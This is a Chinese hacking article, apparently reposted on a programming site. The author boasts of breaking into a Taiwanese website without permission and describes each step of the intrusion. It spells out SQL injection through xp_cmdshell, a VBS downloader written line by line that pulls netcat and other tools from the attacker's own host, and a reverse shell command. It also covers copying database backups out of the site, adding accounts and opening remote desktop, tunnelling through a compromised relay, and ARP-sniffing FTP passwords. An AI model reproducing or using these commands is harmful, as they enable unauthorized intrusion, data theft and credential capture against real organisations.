欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

入侵过程中的简单任务

程序员文章站 2022-01-13 10:14:08
很久没有入侵了,手有点痒,随便逛了几个TW的网站想找一个有点的价值的网站玩玩,于是找到了这个网站。 习惯性的,在“报名账号”处填入了一个单引号,返回了如下信息:... 08-10-08...
很久没有入侵了,手有点痒,随便逛了几个tw的网站想找一个有点的价值的网站玩玩,于是找到了这个网站。 习惯性的,在“报名账号”处填入了一个单引号,返回了如下信息: sql server 的 microsoft ole db 提供者 (0x80040e14) 遗漏字符字符串 ''' 前面的引号。 /rdshow/modify.asp, line 5 看来是存在注入漏洞的,来看看权限如何。继续在登陆口输入’ and user>0 and ‘’=’,问题出现了:无法完整输入。看来网页对输入长度做了限制,这个难不到我。保存网页,将网页的源代码更改两个地方,一处是action=modify.asp改为action= [url=http://www.xxx.org.tw/rdshow/modify.asp]http://www.xxx.org.tw/rdshow/modify.asp[/url] ,还有一处就是把输入字符的长度改大,也就是maxlength=10改为100,这下可以不受限制的随便输入了。将刚才的代码完整输入后得到以下信息: sql server 的 microsoft ole db 提供者 (0x80040e07) 将 nvarchar 数值 'dbo' 转换成数据型别为 int 的数据行语法错误。 /rdshow/modify.asp, line 5 看来有戏,但是这样注入太麻烦了。再看看网页的源代码,如果将这个注入漏洞转化成url的形式,这样注入就方便多了。同时转化后还有一个很好的优点,就是可以使用nbsi之类的注入工具,大大简化了我们的注入过程。转化后的url为 [url=http://www.xxx.org.tw/rdshow/]http://www.xxx.org.tw/rdshow/[/url] modify.asp?bidno=f**k。现在web和sql的主机分开的情况很多,首先我们还是先看看数据库的ip地址吧。打开天网,然后在ie提交: [url=http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k’;exec]http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k’;exec[/url] master.dbo.xp_shell’ ping myip’;-- 从天网的报警日志看出数据库的ip地址为210.208.xxx.253,再ping [url=http://www.xxx.org.tw]www.xxx.org.tw[/url] ,得到的ip地址却为210.208.xxx.32,看来数据库和web服务器不是同一台主机,但是从ip分布来看,这两台主机处于同一个网段,理论上只要我们能攻占下数据库主机,要渗透到web服务器也不是难事(后来证明确实如此)。到了这一步,还是先用superscan扫描一下数据库主机开了些什么端口吧。 小提示:先对数据库服务器扫描的好处有很多,比如可以探测对方是否开了防火墙,是否有ftp或者web服务,这样才能确定下一步该怎么注入。 扫描的结果是数据库有防火墙,我的想法是先上传一个nc上去,先得到一个反向的shell再说。我尝试了很多方法才传上去,先用tftp没有成功,ftp也没有成功。如果数据库有web服务的话还可以写入一个webshell,可惜没有。没有办法,只好写iget.vbs(脚本小子:广告时间!黑防上个月开放的下载系统中有下载,地址是 [url=http://www.hacker.com.cn/downweb/index.asp]www.hacker.com.cn/downweb/index.asp[/url] ,里面还有一些小东西也挺不错,欢迎大家下载使用,并推荐你觉得功能上有特点的程序),然后让对方下载我web服务器上的nc。好,决定后就这样做,继续在ie提交: [url=http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec]http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec[/url] master.dbo.xp_cmdshell'echo ilocal = lcase(wscript.arguments(1)) > c:\winnt\system\p.vbs';-- [url=http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec]http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec[/url] master.dbo.xp_cmdshell'echo iremote = lcase(wscript.arguments(0)) >> c:\winnt\system\p.vbs';-- [url=http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec]http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec[/url] master.dbo.xp_cmdshell'echo set xpost = createobject("microsoft.xmlhttp") >> c:\winnt\system\p.vbs';-- [url=http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec]http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec[/url] master.dbo.xp_cmdshell'echo xpost.open "get",iremote,0 >> c:\winnt\system\p.vbs';-- [url=http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec]http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec[/url] master.dbo.xp_cmdshell'echo xpost.send() >> c:\winnt\system\p.vbs';-- [url=http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec]http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec[/url] master.dbo.xp_cmdshell'echo set sget = createobject("adodb.stream") >> c:\winnt\system\p.vbs';-- [url=http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec]http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec[/url] master.dbo.xp_cmdshell'echo sget.mode = 3 >> c:\winnt\system\p.vbs';-- [url=http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec]http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec[/url] master.dbo.xp_cmdshell'echo sget.type = 1 >> c:\winnt\system\p.vbs';-- [url=http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec]http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec[/url] master.dbo.xp_cmdshell'echo sget.open() >> c:\winnt\system\p.vbs';-- [url=http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec]http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec[/url] master.dbo.xp_cmdshell'echo sget.write(xpost.responsebody) >> c:\winnt\system\p.vbs';-- [url=http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec]http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec[/url] master.dbo.xp_cmdshell'echo sget.savetofile ilocal,2 >>c:\winnt\system\p.vbs';-- 现在把nbsi2请出来,用其自带的nb command命令执行器查看vbs是否写入成功(用nb treelist目录列表工具也可以,不过要等半天才能等到结果,我的性子急,所以选择了前者)。 可以看出vbs生成成功了,现在我们可以用这个vbs去下载后门木马之类的东西了。话不多说先把tlist,nc,kill传上去再说,继续在ie提交如下url: [url=http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec]http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec[/url] master.dbo.xp_cmdshell 'c:\winnt\system\p.vbs [url=http://myip/nc.exe]http://myip/nc.exe[/url] nc.exe';-- [url=http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec]http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec[/url] master.dbo.xp_cmdshell 'c:\winnt\system\p.vbs [url=http://myip/kill.exe]http://myip/kill.exe[/url] kill.exe';-- [url=http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec]http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec[/url] master.dbo.xp_cmdshell 'c:\winnt\system\p.vbs [url=http://myip/tlist.exe]http://myip/tlist.exe[/url] tlist.exe';-- 现在我们可以利用上传的nc得到一个反向的shell了,先在本机用nc监听8000端口: nc.exe –l –v –p 8000 然后在ie输入: [url=http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec]http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec[/url] master.dbo.xp_cmdshell 'c:\winnt\system\nc.exe –e cmd.exe myip 8000 ';-- 这样我们就获得了一个cmdshell了。 为什么我要上传tlist呢?因为我想知道对方用的是什么杀毒软件,这样我们才能做到有的放矢,不至于我们上传的东东全部被查杀。上传tlist还有一个原因就是刚刚开始我在绕过对方的防火墙时调用了ftp,为了不让对方怀疑,我必须把它kill掉,所以也得上传tlist来看看pid号。tlist的结果是对方用的诺顿。 小提示:获取对方系统的杀毒软件对后面的入侵是很有帮助的,因为不同的杀毒软件对不同的黑软定义的特征码是不一样的,也就是说某些黑软不被金山查杀,不代表可以瞒过诺顿,反之一样。 晕了,我菜,只会找瑞星的特征码,诺顿的找不出来,想传几个反弹木马上去的想法放弃了。上去溜了一圈发现d盘下面有不少数据库的备份,我喜欢,先down下来再说。但新的问题又来了,tftp和ttp不能用,对方又有硬件防火墙,而iget.vbs又只能下载,没有办法上传东西,反弹木马可以实现上传但对方又有杀毒软件……现在我的思路开始陷入困境,正在我一筹莫展的时候我想到了饭哥,他应该有点好东东可以解决我的这个问题吧?把大概情况给他说了之后,他仰天大笑三声之后给了我一个他自己写的小工具:httpput,这个工具可以将对方的文件传到自己的电脑上来,简单方便。使用方法为: useag:e:\httpput.exe [url] [putfilepath] sample:e:\httpput.exe [url=http://hostname/images/]http://hostname/images/[/url] c:\p.txt 先传了几个word文件,一切正常,但是当我传到后面较大的数据库文件时却发现不太稳定,shell很容易挂掉,尝试了很多次都这样(汗,这时进程里面多了x个cmd.exe,幸好我上传了tlist和kill,把那些挂了的cmd一个一个地kill掉)。 又一次陷入了困境,我本来想再去各大黑客网站找最新的反弹木马,但是老天偏偏和我作对,找了半天都找不到一个满意的。就在我快绝望的时候我的眼前突然一亮:nc不就可以突破防火墙传文件吗?不然怎么叫瑞士军刀?看来我是骑驴找驴了。在nc的高级应用里面就有传文件的方法,具体命令如下: nc -vv -l -p port > pathfile   nc -d myip port 然后用winrar将所有文件(5个)打包为自解压的exe,并将“高级自解压选项”->“解压后运行”设置为_wpcap_.bat,命令行的winpcap安装包就制作完成了。 以上方法只是给大家参考,此时我已经有了另外的更加简单方便的思路,就是给数据库的主机开终端服务,这样无论是传东西还是继续向内网的渗透都会方便很多。大家也许会问即使你有权限添加账号能开终端服务,但是对方有防火墙你怎么连接啊。呵呵,这个问题其实很好解决,相信大家都知道vidc类软件吧,这类软件的作用就是将内网的端口映射到公网的ip端口上来,这样我们只需要连接公网的ip就可以连接到内网去了。在这里我用的是yyc写的vidc软件的修改版, 小知识:yyc写的vidc软件的修改版分客户端和服务器端,服务器端idc.exe在具有公网ip的肉鸡上运行,使用默认8080端口通信。 直接在肉鸡运行就ok了,客户端vidcc.exe、vidcc.dll,xl.ini文件,按ini文件里的配置自动连接绑定端口,ini的内容如下: serverip=公网ip serverport=8080 cip=127.0.0.1 bport=21|80|3389 yport=7779|7776|7778 先还是用iget.vbs将这些东西传上去,然后在cmdshell里面添加一个账号,然后写一个bat开启3389,等电脑重启之后再上去运行vidcc.exe。ok大功告成,我们只要登陆肉鸡的7778端口就可以访问内网数据了。 呵呵,现在我们可以在图形界面下安装winpcap了,我们已经完全控制了数据库,但是任务还没有完,我们先看看能不能嗅探到web服务器的信息。先执行下面的命令: tracert 210.208.xxx.32(web服务器的地址) 看看返回结果看来有戏,三下五除二装好winpcap,然后开始arpsniffer,嗅探的命令为: usage: arpsniffer [/reset] 在这里我监听的是21端口,命令如下: arpsniffer 210.208.xxx.1 210.208.xxx.32 21 c:\winnt\system\pass.txt 1 接下来就是等待了,不过臭要饭的急着催文章,所以文章截至时还没有结果,如果大家有兴趣的话,下期我再告诉大家。这次简单任务也该结束了,下期见!